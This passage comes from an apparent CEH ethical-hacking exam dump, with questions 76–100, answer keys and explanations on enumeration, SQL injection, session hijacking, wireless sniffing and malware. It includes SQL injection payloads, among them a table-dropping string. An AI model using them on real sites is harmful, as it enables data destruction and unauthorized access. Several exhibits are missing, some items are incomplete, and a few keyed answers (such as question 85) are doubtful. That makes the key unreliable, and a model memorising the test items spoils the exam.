Which of the following tools are used for enumeration? (Choose three.)
A.
SolarWinds
B.
USER2SID
C.
Cheops
D.
SID2USER
E.
DumpSec
Correct Answer: BDE
Explanation
Explanation/Reference:
Explanation: USER2SID, SID2USER, and DumpSec are three of the tools used for system enumeration. Others are tools such as NAT and Enum. Knowing which tools are used in each step of the hacking methodology is an important goal of the CEH exam. You should spend a portion of your time preparing for the test practicing with the tools and learning to understand their output.
QUESTION 76
Bryan notices the error on the web page and asks Liza to enter liza' or '1'='1 in the email field. They are greeted with a message "Your login information has been mailed to [email protected]".
What do you think has occurred?
A.
The web application picked up a record at random
B.
The web application returned the first record it found
C.
The server error has caused the application to malfunction
D.
The web application emailed the administrator about the error
Correct Answer: B
Explanation
Explanation/Reference:
Explanation: The web application sends a query to an SQL database and by giving it the criteria 1=1, which always will be true, it will return the first value it finds.
QUESTION 77
All the web servers in the DMZ respond to ACK scan on port 80.
Why is this happening ?
A.
They are all Windows based webserver
B.
They are all Unix based webserver
C.
The company is not using IDS
D.
The company is not using a stateful firewall
Correct Answer: D
Explanation
Explanation/Reference:
Explanation: If they used a stateful inspection firewall this firewall would know if there has been a SYN-ACK before the ACK.
QUESTION 78
Which of the following is one of the key features found in a worm but not seen in a virus?
A.
The payload is very small, usually below 800 bytes.
B.
It is self replicating without need for user intervention.
C.
It does not have the ability to propagate on its own.
D.
All of them cannot be detected by virus scanners.
Correct Answer: B
Explanation
Explanation/Reference:
Explanation: A worm is similar to a virus by its design, and is considered to be a sub-class of a virus. Worms spread from computer to computer, but unlike a virus, it has the capability to travel without any help from a person. A worm takes advantage of file or information transport features on your system, which allows it to travel unaided.
QUESTION 79
The following excerpt is taken from a honeyput log. The log captures activities across three days. There are several intrusion attempts; however, a few are successful. Study the log given below and answer the following question:
(Note: The objective of this questions is to test whether the student has learnt about passive OS fingerprinting (which should tell them the OS from log captures): can they tell a SQL injection attack signature; can they infer if a user ID has been created by an attacker and whether they can read plain source destination entries from log entries.)
What can you infer from the above log?
A.
The system is a windows system which is being scanned unsuccessfully.
B.
The system is a web application server compromised through SQL injection.
C.
The system has been compromised and backdoored by the attacker.
D.
The actual IP of the successful attacker is 24.9.255.53.
Correct Answer: A
QUESTION 80
What would best be defined as a security test on services against a known vulnerability database using an automated tool?
A.
A penetration test
B.
A privacy review
C.
A server audit
D.
A vulnerability assessment
Correct Answer: D
Explanation
Explanation/Reference:
Explanation: Vulnerability assessment is the process of identifying and quantifying vulnerabilities in a system. The system being studied could be a physical facility like a nuclear power plant, a computer system, or a larger system (for example the communications infrastructure or water infrastructure of a region).
QUESTION 81
Steven is a senior security analyst for a state agency in Tulsa, Oklahoma. His agency is currently undergoing a mandated security audit by an outside consulting firm. The consulting firm is halfway through the audit and is preparing to perform the actual penetration testing against the agency's network. The firm first sets up a sniffer on the agency's wired network to capture a reasonable amount of traffic to analyze later. This takes approximately 2 hours to obtain 10 GB of data. The consulting firm then sets up a sniffer on the agency's wireless network to capture the same amount of traffic. This capture only takes about 30 minutes to get 10 GB of data.
Why did capturing of traffic take much less time on the wireless network?
A.
Because wireless access points act like hubs on a network
B.
Because all traffic is clear text, even when encrypted
C.
Because wireless traffic uses only UDP which is easier to sniff
D.
Because wireless networks can't enable encryption
Correct Answer: A
Explanation
Explanation/Reference:
Explanation: You can not have directed radio transfers over a WLAN. Every packet will be broadcasted as far as possible with no concerns about who might hear it.
QUESTION 82
A POP3 client contacts the POP3 server:
A.
To send mail
B.
To receive mail
C.
to send and receive mail
D.
to get the address to send mail to
E.
initiate a UDP SMTP connection to read mail
Correct Answer: B
Explanation
Explanation/Reference:
Explanation: POP is used to receive e-mail.SMTP is used to send e-mail.
QUESTION 83
Paul has just finished setting up his wireless network. He has enabled numerous security features such as changing the default SSID, enabling WPA encryption and enabling MAC filtering on hi wireless router. Paul notices when he uses his wireless connection, the speed is sometimes 54 Mbps and sometimes it is only 24mbps or less. Paul connects to his wireless router's management utility and notices that a machine with an unfamiliar name is connected through his wireless connection. Paul checks the router's logs and notices that the unfamiliar machine has the same MAC address as his laptop.
What is Paul seeing here?
A.
MAC Spoofing
B.
Macof
C.
ARP Spoofing
D.
DNS Spoofing
Correct Answer: A
Explanation
Explanation/Reference:
Explanation: You can fool MAC filtering by spoofing your MAC address and pretending to have some other computers MAC address. Topic 16, Virus and Worms
Topic 16, Virus and Worms
QUESTION 84
Bob wants to prevent attackers from sniffing his passwords on the wired network.
Which of the following lists the best options?
A.
RSA, LSA, POP
B.
SSID, WEP, Kerberos
C.
SMB, SMTP, Smart card
D.
Kerberos, Smart card, Stanford SRP
Correct Answer: D
Explanation
Explanation/Reference:
Explanation: Kerberos, Smart cards and Stanford SRP are techniques where the password never leaves the computer.
QUESTION 85
Gerald is a Certified Ethical Hacker working for a large financial institution in Oklahoma City. Gerald is currently performing an annual security audit of the company's network. One of the company's primary concerns is how the corporate data is transferred back and forth from the banks all over the city to the data warehouse at the company's home office. To see what type of traffic is being passed back and forth and to see how secure that data really is, Gerald uses a session hijacking tool to intercept traffic between a server and a client. Gerald hijacks an HTML session between a client running a web application which connects to a SQL database at the home office. Gerald does not kill the client's session; he simply monitors the traffic that passes between it and the server.
What type of session attack is Gerald employing here?
A.
He is utilizing a passive network level hijack to see the session traffic used to communicate between the two devices
B.
Gerald is using a passive application level hijack to monitor the client and server traffic
C.
This type of attack would be considered an active application attack since he is actively monitoring the traffic
D.
This type of hijacking attack is called an active network attack
Correct Answer: C
Explanation
Explanation/Reference:
Explanation:
Session Hijacking is an active attack
QUESTION 86
What type of session hijacking attack is shown in the exhibit?
A.
Cross-site scripting Attack
B.
SQL Injection Attack
C.
Token sniffing Attack
D.
Session Fixation Attack
Correct Answer: D
QUESTION 87
Which of the following is a patch management utility that scans one or more computers on your network and alerts you if you important Microsoft Security patches are missing. It then provides links that enable those missing patches to be downloaded and installed.
A.
MBSA
B.
BSSA
C.
ASNB
D.
PMUS
Correct Answer: A
Explanation
Explanation/Reference:
Explanation: The Microsoft Baseline Security Analyzer (MBSA) is a tool put out by Microsoft to help analyze security problems in Microsoft Windows. It does this by scanning the system for security problems in Windows, Windows components such as the IIS web server application, Microsoft SQL Server, and Microsoft Office. One example of an issue might be that permissions for one of the directories in the wwwroot folder of IIS could be set at too low a level, allowing unwanted modification of files from outsiders.
QUESTION 88
Fake Anti-Virus, is one of the most frequently encountered and persistent threats on the web. This malware uses social engineering to lure users into infected websites with a technique called Search Engine Optimization.
Once the Fake AV is downloaded into the user's computer, the software will scare them into believing their system is infected with threats that do not really exist, and then push users to purchase services to clean up the non-existent threats.
The Fake AntiVirus will continue to send these annoying and intrusive alerts until a payment is made.
What is the risk of installing Fake AntiVirus?
A.
Victim's Operating System versions, services running and applications installed will be published on Blogs and Forums
B.
Victim's personally identifiable information such as billing address and credit card details, may be extracted and exploited by the attacker
C.
Once infected, the computer will be unable to boot and the Trojan will attempt to format the hard disk
D.
Denial of Service attack will be launched against the infected computer crashing other machines on the connected network
Correct Answer: B
QUESTION 89
Angela is trying to access an education website that requires a username and password to login. When Angela clicks on the link to access the login page, she gets an error message stating that the page can't be reached. She contacts the website's support team and they report that no one else is having any issues with the site. After handing the issue over to her company's IT department, it is found that the education website requires any computer accessing the site must be able to respond to a ping from the education's server. Since Angela's computer is behind a corporate firewall, her computer can't ping the education website back.
What ca Angela's IT department do to get access to the education website?
A.
Change the IP on Angela's Computer to an address outside the firewall
B.
Change the settings on the firewall to allow all incoming traffic on port 80
C.
Change the settings on the firewall all outbound traffic on port 80
D.
Use a Internet browser other than the one that Angela is currently using
Correct Answer: A
Explanation
Explanation/Reference:
Explanation: Allowing traffic to and from port 80 will not help as this will be UDP or TCP traffic and ping uses ICMP. The browser used by the user will not make any difference. The only alternative here that would solve the problem is to move the computer to outside the firewall.
QUESTION 90
Bob is going to perform an active session hijack against company. He has acquired the target that allows session oriented connections (Telnet) and performs sequence prediction on the target operating system. He manages to find an active session due to the high level of traffic on the network.
So, what is Bob most likely to do next?
A.
Take over the session.
B.
Reverse sequence prediction.
C.
Guess the sequence numbers.
D.
Take one of the parties' offline.
Correct Answer: C
QUESTION 91
Nathan is testing some of his network devices. Nathan is using Macof to try and flood the ARP cache of these switches. If these switches' ARP cache is successfully flooded, what will be the result?
A.
The switches will drop into hub mode if the ARP cache is successfully flooded.
B.
If the ARP cache is flooded, the switches will drop into pix mode making it less susceptible to attacks.
C.
Depending on the switch manufacturer, the device will either delete every entry in its ARP cache or reroute packets to the nearest switch.
D.
The switches will route all traffic to the broadcast address created collisions.
Correct Answer: A
QUESTION 92
On a default installation of Microsoft IIS web server, under which privilege does the web server software execute?
A.
Everyone
B.
Guest
C.
System
D.
Administrator
Correct Answer: C
Explanation
Explanation/Reference:
Explanation: If not changed during the installation, IIS will execute as Local System with way to high privileges.
QUESTION 93
What did the following commands determine? C : user2sid \earth guest S-1-5-21-343818398-789336058-1343024091-501
C:sid2user 5 21 343818398 789336058 1343024091 500 Name is Joe Domain is EARTH
A.
That the Joe account has a SID of 500
B.
These commands demonstrate that the guest account has NOT been disabled
C.
These commands demonstrate that the guest account has been disabled
D.
That the true administrator is Joe
E.
Issued alone, these commands prove nothing
Correct Answer: D
Explanation
Explanation/Reference:
Explanation: One important goal of enumeration is to determine who the true administrator is. In the example above, the true administrator is Joe.
QUESTION 94
What is the BEST alternative if you discover that a rootkit has been installed on one of your computers?
A.
Copy the system files from a known good system
B.
Perform a trap and trace
C.
Delete the files and try to determine the source
D.
Reload from a previous backup
E.
Reload from known good media
Correct Answer: E
Explanation
Explanation/Reference:
Explanation: If a rootkit is discovered, you will need to reload from known good media. This typically means performing a complete reinstall.
The following exploit code is extracted from what kind of attack?
A.
Remote password cracking attack
B.
SQL Injection
C.
Distributed Denial of Service
D.
Cross Site Scripting
E.
Buffer Overflow
Correct Answer: E
Explanation
Explanation/Reference:
Explanation: This is a buffer overflow with it's payload in hex format.
QUESTION 96
Bart is looking for a Windows NT/2000/XP command-line tool that can be used to assign, display, or modify ACL's (access control lists) to files or folders and also one that can be used within batch files.
Which of the following tools can be used for that purpose? (Choose the best answer)
A.
PERM.exe
B.
CACLS.exe
C.
CLACS.exe
D.
NTPERM.exe
Correct Answer: B
Explanation
Explanation/Reference:
Explanation: Cacls.exe is a Windows NT/2000/XP command-line tool you can use to assign, display, or modify ACLs (access control lists) to files or folders. Cacls is an interactive tool, and since it's a command-line utility, you can also use it in batch files.
QUESTION 97
DRAG DROP
Drag the term to match with it's description.
Correct Answer:
Explanation
Explanation/Reference:
Topic 6, Trojans and Backdoors
QUESTION 98
The following script shows a simple SQL injection. The script builds an SQL query by concatenating hard-coded strings together with a string entered by the user:
The user is prompted to enter the name of a city on a Web form. If she enters Chicago, the query assembled by the script looks similar to the following:
SELECT * FROM OrdersTable WHERE ShipCity = 'Chicago'
How will you delete the OrdersTable from the database using SQL Injection?
A. Chicago'; drop table OrdersTable -- B. Delete table'blah'; OrdersTable -- C. EXEC; SELECT * OrdersTable > DROP -- D. cmdshell'; 'del c:\sql\mydb\OrdersTable' //
Correct Answer: A
QUESTION 99
An attacker finds a web page for a target organization that supplies contact information for the company. Using available details to make the message seem authentic, the attacker drafts e-mail to an employee on the contact page that appears to come from an individual who might reasonably request confidential information, such as a network administrator.
The email asks the employee to log into a bogus page that requests the employee's user name and password or click on a link that will download spyware or other malicious programming.
Google's Gmail was hacked using this technique and attackers stole source code and sensitive data from Google servers. This is highly sophisticated attack using zero-day exploit vectors, social engineering and malware websites that focused on targeted individuals working for the company.
What is this deadly attack called?
A.
Spear phishing attack
B.
Trojan server attack
C.
Javelin attack
D.
Social networking attack
Correct Answer: A
QUESTION 100
Every company needs a formal written document which spells out to employees precisely what they are allowed to use the company's systems for, what is prohibited, and what will happen to them if they break the rules. Two printed copies of the policy should be given to every employee as soon as possible after they join the organization. The employee should be asked to sign one copy, which should be safely filed by the company. No one should be allowed to use the company's computer systems until they have signed the policy in acceptance of its terms.